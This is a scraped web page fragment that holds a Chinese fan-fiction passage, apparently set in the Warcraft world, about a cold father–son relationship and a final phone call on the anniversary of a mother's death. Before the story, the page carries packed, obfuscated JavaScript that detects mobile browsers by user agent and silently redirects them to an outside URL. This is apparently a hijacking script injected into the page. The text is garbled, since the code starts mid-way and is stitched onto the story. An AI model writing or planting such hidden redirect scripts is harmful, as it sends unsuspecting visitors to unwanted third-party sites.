35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363279|199776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这对父子之间几乎从不交谈,每次见面要么吵得不可开交,要么形同陌路,但狂风骤雨或是低压之后,老爷不但从未停止过对小少爷的“监视”,还总是会通过各种途径明里暗里地给小少爷种种好处……唔,金钱,豪宅,仆从,高等学府……应该算是好处吧。 不过,无论老爷和小少爷之间关系多么别扭,那都不是他该关心的问题。 “出去吧。” 阿坎纳苟斯回过神来,忙微微欠身,转身走出房间,无声地合上了门。 他听到男人在打电话: “让他来听。” 他在门口驻足,默默地听着。 “是我。明天是你母亲的忌日,早上八点我会派人来接你。” …… “……” …… “……” …… “她是因为我而死,你还想要我说什么?” …… “我很想念她。” …… “这是事实。” …… “……随你的便吧。早上八点,别让——” 房间里,男人凝视着显示“挂断”的奥术通讯屏,一言不发。 那是卡雷苟斯和奥比之间的最后一次交谈。